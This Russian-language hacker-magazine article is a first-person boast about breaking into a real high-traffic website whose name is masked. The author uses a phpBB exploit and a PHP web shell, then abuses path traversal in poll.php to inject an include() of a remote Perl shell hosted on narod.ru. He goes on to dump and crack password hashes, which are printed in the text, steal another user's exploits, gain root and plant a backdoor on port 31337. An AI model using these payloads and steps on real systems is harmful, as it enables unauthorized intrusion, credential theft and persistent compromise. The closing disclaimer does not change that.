Как-то ранним утром мне захотелось
поломать какой-нибудь сайт с огромным
количеством трафа. Обратившись к своему
знакомому, я получил линк на один
буржуйский сайт - где ежедневная
посещаемость составляла 300к(!). Нацепив на
браузер проксик я зашел на сайт. Как
оказалось это сайт-портал для "начинающих
интернетчиков", аналог нашего русского
rin.ru. Большинство страниц имели расширение
shtml. Это говорило о том, что на серваке
юзаются SSI-скрипты. Мне нужно было отыскать
PHP/Perl скрипты, чтобы попытаться найти в них
баг. После 30-минутной прогулки по сайту у
меня были в руках: 2 найденных скрипта, форум,
чат.
Я начал с последнего :). Вставка
экзотических тэгов в чат не дала желанного
результата. Да и судя по названию чата (Personal
***** Chat) он был самопальный, т.к. в инете
подобных чатов нигде не было. Я решил
двигаться дальше и посмотрел форум. В самом
низу страницы висела радостная надпись (для
меня, не для админа 🙂 ) - Powered by PhpBB 2.0.4.Я
даже не думал, что на таком раскрученном
портале будет стоять такой старенький по
версии форум! Скачав сплойт от Rush для версии
<=phpbb 2.0.10 я натравил его на сайт. Через 10
секунд я получил Remote-Access. В саму диру форума
прав для записи туда шелла мне не хватило.
Тогда я выполнил команду "cd ..;ls -la" и в
ответ получил длинный список файлов и
директорий на странице. Нужно было найти
директорию, которая имела бы привилегии nobody
или просто-напросто chmod 0777. Вскоре этой
дирой оказалась папка "test".
Естественно туда был залит простейший shell
на php, содержащий в себе пару строк:
<? system($cmd); ?>
Когда я набрал в браузере www.****.com/test/test.php?cmd=id,
то в ответ была выдана лишь белая пустая
страница, тогда я попробовал вместо system()
поставить passthru() или exec(), но получил то же
самое :(. Видно админ запретил из php выполнять
системные команды. Тогда я решил закачать
туда CGI-TELNET на Perl. Вот он уже сработал
нормально!
Вечером я продолжил свое дело. Набрав в
браузере www.****.com/test/test.pl я получил в ответ
ошибку 404! Очевидно админ учуял, что на его
сервере побывал кто-то еще. Набрав в строке
www.****.com/forum я увидел, что админ сменил форум
на версию 2.0.11. Видно, что админ долго изучал
апачевские логи 😉 И все-таки нашел багу в
своих владениях. Но так просто я ни за что не
сдамся. Ведь еще остались 2 php-скрипта до
которых я так и не дошел. Первый скрипт был
обычный движок для сайта, основаный на
page.php?page=arctile. Вставка в переменную $page всяких
спецсимволов и инъекций не получалась 🙁 .Осталась
последняя надежда - на другой скрипт. Но я не
торопился изучать скрипт, а запустил сканер
DCS. После 15-минутного скана была такая
надпись:
http://www.****.com/.bash_history [200 OK]
Зайдя по ссылке я удивился, это был обычный .bash_history
или просто-напросто история команд админа
сайта! Вот только необычно было то, что эта
истории находилась прямо в web-дире сайта и
она не закрыта .htaccess'ом! Внимательно
ознакомившись с историей команд админа я
увидел, что много действий было выполнено
за пределами веб-диры. Но все-таки я нашел
полный путь к www. Эта директория была /home/www/****/public_html/.
Дальше я начал изучать тот самый скрипт. Это
был скрипт для оставления вопросов и
пожеланий админу. Выглядело это примерно
так:
http://www.****./poll.php?poll=administrator_answer&answer=I can hack your
site :)?
Если посмотреть html-код скрипта, то можно
увидеть, что все данные формы передаются
методом GET. Если вставить в переменную $pool=blablabl,
то скрипт ругнется матом, что не может найти
файл куда записывать вопрос или не хватает
прав. Оопля! Вспомнив про ту директорию test (которую
кстати так админ и не стер) я выполнил такой
запрос:
http://www.****./poll.php?poll=../../../../../../../../../../../../ home/www/****/public_html/test/test.txt&answer=
It is test attack.
Скрипт выплюнул в ответ, что вопрос удачно
записался. Набрав в браузере http://www.****./test/test.txt
я увидел надпись It is test attack. Все, сервер мне
почти сдался 🙂 После выполнения запроса:
http://www.****./poll.php?poll=../../../../../../../../../../../../ home/www/****/public_html/test/test.php&
answer= include("http://gaga.narod.ru/hack.pl"); ?>
(hack.pl - это Cgi-Telnet) я получил полноценный
шелл. Вот только права мои NoBody очень
порадовали! Дело в том, что даже с такими
мизерными привилегиями я смог лазить по
чужим домашним дирам и читать файлы(!). Хотя
мои цели были получить рута. Выполнив
команду "uname -a" я огорчился. Сервак был
FreeBSD 4.8. Для этой версии не было публичного
сплойта, а у знакомых приватного ни у когоне
было. Оставалось надеяться только на удачу!
Быстренько просмотрев директорию /var я ни
нашел никаких бэкапов, да впрочем я бы и так
их не смог просмотреть, т.к скорей всего
бэкап мог бы смотреть только рут. Но я опять
же никогда не сдаюсь! Поэтому я начал
детально изучать домашние каталоги
пользователей. В дире /home/evan я нашел
warez,0day-exploits. Дира warez была пуста, поэтому я
тихонько скачал 0day сплойты 😉 Также в этом
каталоге я обнаружил файл mans.c. Выполнив "cat
mans.c" я увидел вот это:
admin:UZb7F1neNA62.
drater:8xXolzJlzKws6
got:7OQ3ZIbX4P8xA
justin:/6IPVsGf09wrA
Вот они долгожданные пассы. Сравнив этот
листинг с /etc/passwd я увидел то, что
пользователей justin, admin, drater не существует
в /etc/passwd, следовательно их нам не надо
брутить. Обратив внимание, что юзер got имеет
рутовые права я залез на свой шелл и сдал John
The Ripper'у такую команду:
john -single pass.txt >good.txt
Это мне не дало никаких результатов 🙁 Тогда
я решил перебирать по словарю, это тоже не
дало желанных результатов. Остался
последний метод брута - посимвольный
брутфорс с учетом всех букв, цифр, символов
aka i- mode:
john -i pass.txt >good.txt &
Повесив в бэкграунд джона я вырубил комп.
Пароль сбрутился только через неделю.
Зацепившись опять на этот сайт через cgi-telnet (я
кстати забыл сказать, что я его удалил в тот
раз и теперь заново поставил) я повесил
бэкдор на 31337 порт, выполнил команду "su got",
ввел пароль и вот оно чудо, я рут :)! Теперь
можно было дефейсить сайты (хотя я этого так
и не сделал, просто не особый фанат дефейсов
:)).
Подведем итоги:
Ошибки админа:
1.Нужно было своевременно обновлять софт и
скрипты на сервере.
2.Если уж .bash_history находится в www-дире (что не
должно быть :)),то нужно закрывать доступ .htaccess'ом.
3.Нанимать только хороших и проверенных
программистов 😉
От меня:
Не нужно расценивать эту статью как
руководство по взлому и дефейсу сайта на
примере моего случая :).Помни - дефейс это
плохо!!! Также эта история должна показать
тебе, что можно найти дыру на сервере и не
применяя Nmap'а.
С вами был Nitrex.
E-Mail: nitrex@rambler.ru
Сайт: www.xakep-money.ru